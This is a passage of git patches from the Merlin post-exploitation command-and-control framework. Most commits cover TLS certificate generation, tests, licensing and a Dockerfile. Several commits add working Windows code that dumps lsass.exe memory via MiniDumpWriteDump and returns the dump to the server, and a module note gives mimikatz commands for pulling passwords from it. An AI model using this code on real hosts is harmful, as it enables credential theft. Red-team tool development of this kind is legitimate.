"Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates") + } + + // Log certificate information + logging.Server(fmt.Sprintf("Starting Merlin Server using an X.509 certificate with a %s signature of %s", + x.SignatureAlgorithm.String(), hex.EncodeToString(x.Signature))) + logging.Server(fmt.Sprintf("Starting Merlin Server using an X.509 certificate with a public key of %v", x.PublicKey)) + logging.Server(fmt.Sprintf("Starting Merlin Server using an X.509 certificate with a serial number of %d", x.SerialNumber)) + logging.Server(fmt.Sprintf("Starting Merlin Server using an X.509 certifcate with a subject of %s", x.Subject.String())) + logging.Server(fmt.Sprintf("Starting Merlin Server using an X.509 certificate with a SHA256 hash, "+ + "calculated by Merlin, of %s", sha256Fingerprint)) + // Configure TLS TLSConfig := &tls.Config{ Certificates: []tls.Certificate{cer}, @@ -200,8 +197,6 @@ func New(iface string, port int, protocol string, key string, certificate string // Run function starts the server on the preconfigured port for the preconfigured service func (s *Server) Run() error { logging.Server(fmt.Sprintf("Starting %s Listener at %s:%d", s.Protocol, s.Interface, s.Port)) - logging.Server(fmt.Sprintf("x.509 Certificate %s", s.Certificate)) - logging.Server(fmt.Sprintf("x.509 Key %s", s.Key)) time.Sleep(45 * time.Millisecond) // Sleep to allow the shell to start up message("note", fmt.Sprintf("Starting %s listener on %s:%d", s.Protocol, s.Interface, s.Port)) From 2e2fd9b5a789900446740c2063359689a99bf87c Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 18 Feb 2019 15:04:41 -0500 Subject: [PATCH 063/112] Added license. Updated key strength to 4096. Removed 127.0.0.1 from certificate information. --- pkg/util/tls.go | 32 +++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-) diff --git a/pkg/util/tls.go b/pkg/util/tls.go index 8eebde24..c0b1ceb5 100644 --- a/pkg/util/tls.go +++ b/pkg/util/tls.go @@ -1,3 +1,20 @@ +// Merlin is a post-exploitation command and control framework. +// This file is part of Merlin. +// Copyright (C) 2019 Russel Van Tuyl + +// Merlin is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// any later version. + +// Merlin is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with Merlin. If not, see . + package util import ( @@ -10,9 +27,7 @@ import ( "crypto/tls" "crypto/x509" "crypto/x509/pkix" - "log" "math/big" - "net" "time" ) @@ -25,7 +40,7 @@ If a nil date is passed in for notBefore and notAfter, a random date is picked i If a nil date is passed in for notAfter, the date is set to be 2 years after the date provided (or generated) in the notBefore parameter. -Please ensure privkey is a proper private key. The go implementaiton of this value is kinda lame, so no type assertion can be made in the function definition :(. +Please ensure privkey is a proper private key. The go implementation of this value is challenging, so no type assertion can be made in the function definition. */ func GenerateTLSCert(serial *big.Int, subject *pkix.Name, dnsNames []string, notBefore, notAfter *time.Time, privKey crypto.PrivateKey, makeRsa bool) (*tls.Certificate, error) { //https://golang.org/src/crypto/tls/generate_cert.go taken from here mostly @@ -35,16 +50,16 @@ func GenerateTLSCert(serial *big.Int, subject *pkix.Name, dnsNames []string, not serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) //128 bits tops serial, err = rand.Int(rand.Reader, serialNumberLimit) if err != nil { - log.Fatalf("failed to generate serial number: %s", err) + return nil, err } } if subject == nil { //pointers make it easier to compare to nils - subject = &pkix.Name{} //todo: generate randome subject attributes? + subject = &pkix.Name{} //todo: generate random subject attributes? } + //todo: generate random names? if dnsNames == nil { - //todo: generate random names? } if notBefore == nil { @@ -66,7 +81,6 @@ func GenerateTLSCert(serial *big.Int, subject *pkix.Name, dnsNames []string, not tpl := x509.Certificate{ SerialNumber: serial, Subject: *subject, - IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)}, DNSNames: dnsNames, NotBefore: *notBefore, NotAfter: *notAfter, @@ -76,7 +90,7 @@ func GenerateTLSCert(serial *big.Int, subject *pkix.Name, dnsNames []string, not } if privKey == nil { if makeRsa { - privKey, err = rsa.GenerateKey(rand.Reader, 2048) + privKey, err = rsa.GenerateKey(rand.Reader, 4096) if err != nil { return nil, err } @@ -99,7 +113,7 @@ func GenerateTLSCert(serial *big.Int, subject *pkix.Name, dnsNames []string, not }, nil } -//getPublicKey takes in a private key, and provides the public key from it, since apparently it's too hard for go to have a sane 'private key' interface. +//getPublicKey takes in a private key, and provides the public key from it. //https://golang.org/src/crypto/tls/generate_cert.go func getPublicKey(priv interface{}) interface{} { switch k := priv.(type) { From f8f0c7bea05c8f4c340296a8a751f3fc33872cae Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 18 Feb 2019 16:07:26 -0500 Subject: [PATCH 064/112] Minor modifications to util_test.go --- test/util_test.go | 42 ++++++++++++++++++++++++++++++++++-------- 1 file changed, 34 insertions(+), 8 deletions(-) diff --git a/test/util_test.go b/test/util_test.go index dee85416..6113609e 100644 --- a/test/util_test.go +++ b/test/util_test.go @@ -1,3 +1,20 @@ +// Merlin is a post-exploitation command and control framework. +// This file is part of Merlin. +// Copyright (C) 2019 Russel Van Tuyl + +// Merlin is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// any later version. + +// Merlin is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with Merlin. If not, see . + package test import ( @@ -22,9 +39,9 @@ import ( ) //test files for the exported functions in the 'util' package - +// TestTLSCertGeneration tests certificate generation from the util package func TestTLSCertGeneration(t *testing.T) { - //test setting values works + // Setup //serial serial := big.NewInt(1337) //subject @@ -33,7 +50,7 @@ func TestTLSCertGeneration(t *testing.T) { CommonName: cnString, } //dnsNames - dnsName := "asioagents.com.au" + dnsName := "HackThePlanet.org" dnsNames := []string{dnsName} //time (before and after) notBefore := time.Now().AddDate(0, 0, -5) // 5 days ago @@ -44,11 +61,14 @@ func TestTLSCertGeneration(t *testing.T) { t.Fatal("Couldn't generate EC key", err) } pk := crypto.PrivateKey(ecpk) + + // Create certificate certSetVals, err := util.GenerateTLSCert(serial, &subj, dnsNames, ¬Before, ¬After, pk, false) if err != nil { t.Fatal("Certificate generation[1] error:" + err.Error()) } + // Tests x5certSetVals, err := x509.ParseCertificate(certSetVals.Certificate[0]) //serial if x5certSetVals.SerialNumber.Cmp(serial) != 0 { @@ -61,7 +81,8 @@ func TestTLSCertGeneration(t *testing.T) { //dnsNames if len(x5certSetVals.DNSNames) < 1 || x5certSetVals.DNSNames[0] != dnsName { - t.Error(fmt.Sprintf("dnsnames failed assignment: should be a length 1 string slice with the only contents:\n%s\nbut is:\n%v", dnsName, x5certSetVals.DNSNames)) + t.Error(fmt.Sprintf("dnsnames failed assignment: should be a length 1 string slice with the only "+ + "contents:\n%s\nbut is:\n%v", dnsName, x5certSetVals.DNSNames)) } //times @@ -96,13 +117,14 @@ func TestTLSCertGeneration(t *testing.T) { if certSetVals.PrivateKey.(*ecdsa.PrivateKey).Params().Name != "P-521" { t.Error("Incorrect curve name: " + certSetVals.PrivateKey.(*ecdsa.PrivateKey).Params().Name) } - //maybe also check bits are expected? unlikely to be more brokener than wrong name though.. + // TODO this should be its own test case //test having unset values works to randomise that attribute x5Certs := []*x509.Certificate{} tlsCerts := []*tls.Certificate{} for i := 0; i < 10; i++ { - certRand1, err := util.GenerateTLSCert(nil, nil, nil, nil, nil, nil, true) //making rsa to test enc/dec good + certRand1, err := util.GenerateTLSCert(nil, nil, nil, nil, nil, + nil, true) //making rsa to test enc/dec good if err != nil { t.Fatal("Certificate generation[2] error:" + err.Error()) } @@ -131,7 +153,8 @@ func TestTLSCertGeneration(t *testing.T) { certYear, certMonth, certDay := cer.NotBefore.Date() acertYear, acertMonth, acertDay := cer.NotAfter.Date() if acertYear != (certYear+2) || certDay != acertDay || certMonth != acertMonth { - t.Error("Generated times for cert after inconsistent. Got:", acertYear, acertMonth, acertDay, "Expected:", certYear+2, certMonth, certDay) + t.Error("Generated times for cert after inconsistent. Got:", acertYear, acertMonth, acertDay, + "Expected:", certYear+2, certMonth, certDay) } //comparing certificates against other certificates @@ -142,7 +165,10 @@ func TestTLSCertGeneration(t *testing.T) { } //check serial is different if cer.SerialNumber.Cmp(cer2.SerialNumber) == 0 { //same value :( - t.Error(fmt.Errorf("Serial numbers generated are the same: %d and %d: %v", i, ii, cer.SerialNumber.Int64())) + t.Error(fmt.Errorf("serial numbers generated are the same: %d and %d: %v", + i, + ii, + cer.SerialNumber.Int64())) } } } From abbfde626ed89b4fa385b0f86e709258a8d83a84 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 18 Feb 2019 16:14:35 -0500 Subject: [PATCH 065/112] Moved util_test.go to pkg/util/tls_test.go because it isn't used by other tests. --- test/util_test.go => pkg/util/tls_test.go | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) rename test/util_test.go => pkg/util/tls_test.go (96%) diff --git a/test/util_test.go b/pkg/util/tls_test.go similarity index 96% rename from test/util_test.go rename to pkg/util/tls_test.go index 6113609e..14fdc845 100644 --- a/test/util_test.go +++ b/pkg/util/tls_test.go @@ -15,7 +15,7 @@ // You should have received a copy of the GNU General Public License // along with Merlin. If not, see . -package test +package util import ( // Standard @@ -33,9 +33,6 @@ import ( "math/big" "testing" "time" - - // Merlin - "github.com/Ne0nd0g/merlin/pkg/util" ) //test files for the exported functions in the 'util' package @@ -63,7 +60,7 @@ func TestTLSCertGeneration(t *testing.T) { pk := crypto.PrivateKey(ecpk) // Create certificate - certSetVals, err := util.GenerateTLSCert(serial, &subj, dnsNames, ¬Before, ¬After, pk, false) + certSetVals, err := GenerateTLSCert(serial, &subj, dnsNames, ¬Before, ¬After, pk, false) if err != nil { t.Fatal("Certificate generation[1] error:" + err.Error()) } @@ -123,7 +120,7 @@ func TestTLSCertGeneration(t *testing.T) { x5Certs := []*x509.Certificate{} tlsCerts := []*tls.Certificate{} for i := 0; i < 10; i++ { - certRand1, err := util.GenerateTLSCert(nil, nil, nil, nil, nil, + certRand1, err := GenerateTLSCert(nil, nil, nil, nil, nil, nil, true) //making rsa to test enc/dec good if err != nil { t.Fatal("Certificate generation[2] error:" + err.Error()) From 7c62259c8715fcc2febe9e3462d7830a9c621ec4 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 18 Feb 2019 16:15:32 -0500 Subject: [PATCH 066/112] Added missing license to other test files. --- pkg/agent/agent_test.go | 17 +++++++++++++++++ test/testServer/main.go | 17 +++++++++++++++++ 2 files changed, 34 insertions(+) diff --git a/pkg/agent/agent_test.go b/pkg/agent/agent_test.go index f39d4b73..c1efb73e 100644 --- a/pkg/agent/agent_test.go +++ b/pkg/agent/agent_test.go @@ -1,3 +1,20 @@ +// Merlin is a post-exploitation command and control framework. +// This file is part of Merlin. +// Copyright (C) 2019 Russel Van Tuyl + +// Merlin is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// any later version. + +// Merlin is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with Merlin. If not, see . + package agent import ( diff --git a/test/testServer/main.go b/test/testServer/main.go index 342d7498..82ab250b 100644 --- a/test/testServer/main.go +++ b/test/testServer/main.go @@ -1,3 +1,20 @@ +// Merlin is a post-exploitation command and control framework. +// This file is part of Merlin. +// Copyright (C) 2019 Russel Van Tuyl + +// Merlin is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// any later version. + +// Merlin is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with Merlin. If not, see . + package testserver import ( From 4db4cb7cc0e9adceadec5e10fb6e188d1452fc4d Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 18 Feb 2019 16:26:10 -0500 Subject: [PATCH 067/112] Updated CHANGELOG --- docs/CHANGELOG.MD | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index a09b562d..eb88b656 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -12,11 +12,19 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. - [Pull 49](https://github.com/Ne0nd0g/merlin/pull/49) - Added tests for agent package and new `/test` directory for test HTTP server - [Pull 50](https://github.com/Ne0nd0g/merlin/pull/50) - Adds a killdate option to agents - Added `set killdate` to Merlin Server agent menu and information table so that it can be changed from the server. -- [Pull 51] +- [Pull 58](https://github.com/Ne0nd0g/merlin/pull/58) - Added feature to generate in-memory TLS certificates one is not provided + - Adds new `pkg/utils/tls.go` package to generate TLS certificates - Updated Merlin server log to include certificate information + - Test case for TLS certificate generation ### Fixed -- [Pull 51](https://github.com/Ne0nd0g/merlin/pull/57) - Resolved broken JSON does not increment failedCheckin counter on Merlin agent +- [Pull 57](https://github.com/Ne0nd0g/merlin/pull/57) - Resolved broken JSON does not increment failedCheckin counter on Merlin agent + +### Changed +- Changed SHA1 library to SHA256 and checks from http2.go for publicly distributed Merlin Server test certificate + +### Removed +- Removed publicly distributed certificates from repository see [Pull 58](https://github.com/Ne0nd0g/merlin/pull/58). ## 0.6.8 - 2019-01-26 From 454bc528e6e7a22abf9defaa3e8ed28090566df1 Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Tue, 19 Feb 2019 07:18:06 +0800 Subject: [PATCH 068/112] add minidump structure to non-windows files --- pkg/agent/exec_windows.go | 12 +++--------- pkg/modules/modules.go | 9 ++++++++- 2 files changed, 11 insertions(+), 10 deletions(-) diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index d11248af..b562e06a 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -20,6 +20,7 @@ package agent import ( + "github.com/Ne0nd0g/merlin/pkg/modules" // Standard "errors" "fmt" @@ -377,16 +378,9 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { // TODO always close handle during exception handling -//MinidumpFile holds the structure of of a Minidump operation to report back to merlin -type MinidumpFile struct { - ProcName string - ProcID uint32 - FileContent []byte -} - // miniDump will attempt to perform a minidumpwritedump operation on the provided process, and returns the raw bytes of the dumpfile back as an upload to the server. Touches disk during the dump process, however uses the OS default tempfile location -func miniDump(tempfile, process string, inPid uint32) (MinidumpFile, error) { - ret := MinidumpFile{} // []byte{} +func miniDump(tempfile, process string, inPid uint32) (modules.MinidumpFile, error) { + ret := modules.MinidumpFile{} // []byte{} pid := inPid //get debug privs (required for dumping processes not owned by current user) err := sePrivEnable("SeDebugPrivilege") diff --git a/pkg/modules/modules.go b/pkg/modules/modules.go index 3290f6db..22ba849c 100644 --- a/pkg/modules/modules.go +++ b/pkg/modules/modules.go @@ -32,7 +32,7 @@ import ( // 3rd Party "github.com/fatih/color" "github.com/olekukonko/tablewriter" - "github.com/satori/go.uuid" + uuid "github.com/satori/go.uuid" // Merlin "github.com/Ne0nd0g/merlin/pkg/core" @@ -316,3 +316,10 @@ func marshalMessage(m interface{}) []byte { } return k } + +//MinidumpFile holds the structure of of a Minidump operation to report back to merlin +type MinidumpFile struct { + ProcName string + ProcID uint32 + FileContent []byte +} From b4f13e9de0df07e94f52389b5e3170df5712d550 Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Mon, 18 Feb 2019 23:24:47 -0500 Subject: [PATCH 069/112] adds dockerfile for running server or compiling agents --- Dockerfile | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 Dockerfile diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 00000000..2bd5b8c1 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,19 @@ +FROM golang:stretch +MAINTAINER @audibleblink + +# To just generate binaries, run the following and check your `src` folder for the output: +# > sudo docker build -t merlin . +# > sudo docker run --rm --mount type=bind,src=/tmp,dst=/go/src/github.com/Ne0nd0g/merlin/data/temp merlin make linux +# > ls /tmp/v0.6.4.BETA + +# To run the server, run +# > sudo docker run -it -p 443:443 merlin + + +RUN apt-get update && apt-get install -y git make +RUN go get github.com/Ne0nd0g/merlin/... + +WORKDIR $GOPATH/src/github.com/Ne0nd0g/merlin +VOLUME ["data/temp"] +EXPOSE 443 +CMD ["go", "run", "cmd/merlinserver/main.go", "-i", "0.0.0.0"] From 8481ad2730dfcb5f34bb7f615f0a3c0cb0f593d5 Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Tue, 19 Feb 2019 19:57:29 +0800 Subject: [PATCH 070/112] make tests pass on non-windows hosts, learn to use a computer better --- pkg/agent/exec.go | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index 7f80e65c..f8c3243a 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -20,6 +20,7 @@ package agent import ( + "github.com/Ne0nd0g/merlin/pkg/modules" // Standard "errors" "fmt" @@ -79,8 +80,8 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { } // miniDump is a Windows only module function to dump the memory of the provided process -func miniDump(process string, pid uint32) ([]byte, error) { +func miniDump(tempfile, process string, pid uint32) (modules.MinidumpFile, error) { process = "" pid = 0 - return []byte{}, errors.New("minidump doesn't work on non-windows hosts") + return modules.MinidumpFile{}, errors.New("minidump doesn't work on non-windows hosts") } From 77f568834b93aa9f01f85e0d1224a9132b43df38 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 23 Feb 2019 19:46:51 -0500 Subject: [PATCH 071/112] Reworked miniDump function to be streamlined and to modify order of operations for opsec and to check for errors before attempting to execute the Windows API call to MiniDumpWriteDump. Handled error where process name arrives with a space prefixed at the beginning. --- pkg/agent/exec_windows.go | 154 +++++++++++++++++--------------------- 1 file changed, 67 insertions(+), 87 deletions(-) diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index b562e06a..3ed52a5e 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -27,7 +27,6 @@ import ( "io/ioutil" "os" "os/exec" - "path/filepath" "strings" "syscall" "unsafe" @@ -378,109 +377,92 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { // TODO always close handle during exception handling -// miniDump will attempt to perform a minidumpwritedump operation on the provided process, and returns the raw bytes of the dumpfile back as an upload to the server. Touches disk during the dump process, however uses the OS default tempfile location -func miniDump(tempfile, process string, inPid uint32) (modules.MinidumpFile, error) { +// miniDump will attempt to perform use the Windows MiniDumpWriteDump API operation on the provided process, and returns +// the raw bytes of the dumpfile back as an upload to the server. +// Touches disk during the dump process, in the OS default temporary or provided temporary directory +func miniDump(tempDir string, process string, inPid uint32) (modules.MinidumpFile, error) { ret := modules.MinidumpFile{} // []byte{} - pid := inPid - //get debug privs (required for dumping processes not owned by current user) - err := sePrivEnable("SeDebugPrivilege") - if err != nil { - return ret, err - } - /* - BOOL MiniDumpWriteDump( - HANDLE hProcess, - DWORD ProcessId, - HANDLE hFile, - MINIDUMP_TYPE DumpType, - PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, - PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, - PMINIDUMP_CALLBACK_INFORMATION CallbackParam - ); - */ - //load up our minidump function - k32 := windows.NewLazySystemDLL("DbgHelp.dll") - m := k32.NewProc("MiniDumpWriteDump") - - var f *os.File - var e error - if tempfile == "" { - //set up the tempfile to write to, automatically remove it once done - // TODO: Work out how to do this in memory - f, e = ioutil.TempFile(os.TempDir(), "") - if e != nil { - return ret, e - } - } else { - var dirpath string - var filename string - //if the supplied path ends with a "\" or a "/", assume user provided a directory - if strings.HasSuffix(tempfile, "/") || strings.HasSuffix(tempfile, "\\") { - dirpath = tempfile - } else { - dirpath = filepath.Dir(tempfile) - fmt.Println(dirpath) - filename = filepath.Base(tempfile) + var err error + // TODO fix this on the CLI side + tempDir = strings.TrimPrefix(tempDir, " ") + + // Make sure temporary directory exists before executing miniDump functionality + if tempDir != "" { + d, errS := os.Stat(tempDir) + if os.IsNotExist(errS) { + return ret, fmt.Errorf("the provided directory does not exist: %s", tempDir) } - //check the path to the specified place exists - if _, serr := os.Stat(dirpath); serr != nil { - return ret, fmt.Errorf("Directory doesn't exist") - } - - //if the file is provided, first check if it exists: - if filename != "" { - if _, serr := os.Stat(tempfile); serr == nil { - return ret, fmt.Errorf("File exists") - } - //otherwise, create new file - f, e = os.OpenFile(tempfile, os.O_CREATE|os.O_APPEND|os.O_RDWR, 0600) - if e != nil { - return ret, e - } - } else { - //user provided a directory, create a tempfile in the specified location - f, e = ioutil.TempFile(tempfile, "") - if e != nil { - return ret, e - } + if d.IsDir() != true { + return ret, fmt.Errorf("the provided path is not a valid directory: %s", tempDir) } + } else { + tempDir = os.TempDir() } - //remove the file after the function exits, regardless of error nor not - defer os.Remove(f.Name()) - stdOutHandle := f.Fd() - - //get our proc ID, and get a handle to the process. If PID is not provided, search for the PID - if pid <= 0 { - pid, err = getProcID(process) + // Get the process PID or name + if inPid != 0 { + ret.ProcName, err = getProcName(inPid) if err != nil { return ret, err } - } - if pid <= 0 { - return ret, errors.New("could not find the process") - } - if process == "" || inPid != 0 { //assign process name if the name is blank, or if the pid is provided - process, err = getProcName(pid) + ret.ProcID = inPid + } else if process != "" { + ret.ProcID, err = getProcID(process) if err != nil { return ret, err } + ret.ProcName = process + + } else { + return ret, fmt.Errorf("an valid process ID or name was not provided") } - ret.ProcID = pid - ret.ProcName = process - hProc, err := syscall.OpenProcess(0x1F0FFF, false, pid) //PROCESS_ALL_ACCESS := uint32(0x1F0FFF) + + // Get debug privs (required for dumping processes not owned by current user) + err = sePrivEnable("SeDebugPrivilege") + if err != nil { + return ret, err + } + + // Get a handle to process + hProc, err := syscall.OpenProcess(0x1F0FFF, false, ret.ProcID) //PROCESS_ALL_ACCESS := uint32(0x1F0FFF) if err != nil { return ret, err } - // calls the minidump function - r, _, _ := m.Call(uintptr(hProc), uintptr(pid), stdOutHandle, 3, 0, 0, 0) + // Set up the temporary file to write to, automatically remove it once done + // TODO: Work out how to do this in memory + f, tempErr := ioutil.TempFile(tempDir, "*.tmp") + if tempErr != nil { + return ret, tempErr + } + + // Remove the file after the function exits, regardless of error nor not + defer os.Remove(f.Name()) + + // Load MiniDumpWriteDump function from DbgHelp.dll + k32 := windows.NewLazySystemDLL("DbgHelp.dll") + miniDump := k32.NewProc("MiniDumpWriteDump") + + /* + BOOL MiniDumpWriteDump( + HANDLE hProcess, + DWORD ProcessId, + HANDLE hFile, + MINIDUMP_TYPE DumpType, + PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, + PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, + PMINIDUMP_CALLBACK_INFORMATION CallbackParam + ); + */ + // Call Windows MiniDumpWriteDump API + r, _, _ := miniDump.Call(uintptr(hProc), uintptr(ret.ProcID), f.Fd(), 3, 0, 0, 0) f.Close() //idk why this fixes the 'not same as on disk' issue, but it does if r != 0 { ret.FileContent, err = ioutil.ReadFile(f.Name()) if err != nil { + f.Close() return ret, err } } @@ -490,9 +472,7 @@ func miniDump(tempfile, process string, inPid uint32) (modules.MinidumpFile, err //getProcID returns the PID of the provided process name (eg lsass.exe). PID of < 1 indicates didn't find the process. func getProcID(procname string) (uint32, error) { //https://github.com/mitchellh/go-ps/blob/master/process_windows.go - handle, err := syscall.CreateToolhelp32Snapshot( - 0x00000002, - 0) + handle, err := syscall.CreateToolhelp32Snapshot(0x00000002, 0) if handle < 0 || err != nil { return 0, fmt.Errorf("Could not get snapshot:\n%s", err) } @@ -520,7 +500,7 @@ func getProcID(procname string) (uint32, error) { break } } - return 0, fmt.Errorf("Could not find pid for supplied name \"%s\"", procname) + return 0, fmt.Errorf("Could not find a procces with the supplied name \"%s\"", procname) } //getProcName will return the name of the process associated with the specified pid. @@ -556,7 +536,7 @@ func getProcName(pid uint32) (string, error) { break } } - return "", fmt.Errorf("Could not find pid for supplied pid \"%d\"", pid) + return "", fmt.Errorf("Could not find PID \"%d\"", pid) } //sePrivEnable adjusts the privileges of the current process to add the passed in string. Good for setting 'SeDebugPrivilege' From a975e082a71741a12f536e76f28a0e850377ed34 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 23 Feb 2019 19:48:53 -0500 Subject: [PATCH 072/112] Adjust import statements for consistency across project --- pkg/agent/exec.go | 4 +++- pkg/agents/agents.go | 1 + 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index f8c3243a..dfcc4daa 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -20,7 +20,6 @@ package agent import ( - "github.com/Ne0nd0g/merlin/pkg/modules" // Standard "errors" "fmt" @@ -28,6 +27,9 @@ import ( // 3rd Party "github.com/mattn/go-shellwords" + + // Merlin + "github.com/Ne0nd0g/merlin/pkg/modules" ) // ExecuteCommand is function used to instruct an agent to execute a command on the host operating system diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 579488fd..f7d4ebc6 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -18,6 +18,7 @@ package agents import ( + // Standard "crypto/sha256" "encoding/base64" "encoding/json" From f8b6f8b364460ffb5cb5e496855f2b830d12a74c Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 23 Feb 2019 19:50:56 -0500 Subject: [PATCH 073/112] Handled warning for unused tempfile variable; renamed to tempDir --- pkg/agent/exec.go | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index dfcc4daa..362c812c 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -82,8 +82,9 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { } // miniDump is a Windows only module function to dump the memory of the provided process -func miniDump(tempfile, process string, pid uint32) (modules.MinidumpFile, error) { +func miniDump(tempDir string, process string, inPid uint32) (modules.MinidumpFile, error) { + tempDir = "" process = "" - pid = 0 + inPid = 0 return modules.MinidumpFile{}, errors.New("minidump doesn't work on non-windows hosts") } From c706ad18bc044444e03705189eb2fc772afa08a2 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 23 Feb 2019 20:22:47 -0500 Subject: [PATCH 074/112] Updated module info for more clarity and follow on steps. --- data/modules/windows/x64/go/credentials/minidump.json | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/data/modules/windows/x64/go/credentials/minidump.json b/data/modules/windows/x64/go/credentials/minidump.json index 7142ba1d..35b8ce17 100644 --- a/data/modules/windows/x64/go/credentials/minidump.json +++ b/data/modules/windows/x64/go/credentials/minidump.json @@ -13,11 +13,11 @@ "local": [""], "options": [ {"name": "Process", "value": "lsass.exe", "required": true, "flag": "", "description":"Name of the process to obtain a minidump of. If multiple processes exist with this name, it's likely the lowest PID will be used."}, - {"name": "PID", "value": "0", "required": false, "flag": "", "description":"Specific PID to dump. Will ignore process name if this value is set."}, - {"name": "TempLocation", "value": "", "required": false, "flag":"", "description": "Location to temporarily store the dumpfile on the host. Specify a directory by leaving a \\ or / suffix. The file is removed immediately after process dumping is complete. By default, the first non-empty value from %TMP%, %TEMP%, %USERPROFILE%, or the Windows directory is used."} + {"name": "PID", "value": "0", "required": false, "flag": "", "description":"Specific PID to dump. Will ignore process name if this value is set to anything except 0."}, + {"name": "TempLocation", "value": "", "required": false, "flag":"", "description": "A directory where the minidump temporary file will be written. The file is removed immediately after process dumping is complete. If a path is not provided, the first non-empty value from %TMP%, %TEMP%, %USERPROFILE%, or the Windows directory is used."} ], - "description": "Calls minidump on the provided process, dumps out to a temporary file and uploads the minidump file to the server.", - "notes": "Written in native go - the only disk access is when writing out the file to the temp location. Must be elevated to run, and automatically sets the correct token privileges required to access other processes memory.", + "description": "Calls Windows MiniDumpWriteDump API on the provided process, dumps out to a temporary file and uploads the minidump file to the Merlin server.", + "notes": "Written in native go - the only disk access is when writing out the file to the temp location. Must be elevated to run, and automatically sets the correct token privileges required to access other processes memory..\r\n\r\nUse \"sekurlsa::minidump dumpfile.dmp\" \"sekurlsa::logonPasswords full\" on the same OS/arch to parse the dump file", "commands": ["Minidump", "{{Process}}", "{{PID}}", "{{TempLocation}}"] } } \ No newline at end of file From 6b5550dce0b588996d7363474a84485d4170fead Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 23 Feb 2019 20:26:35 -0500 Subject: [PATCH 075/112] Fix verbose condition so it isn't always true. --- pkg/agent/agent.go | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 452325a0..9eba3e20 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -666,9 +666,8 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { switch p.Command { case "Minidump": //args: []string{process name, pid, temppath} - if a.Verbose || true { + if a.Verbose { message("note", "Received Minidump request") - fmt.Println(p.Args, len(p.Args)) } //ensure the provided args are 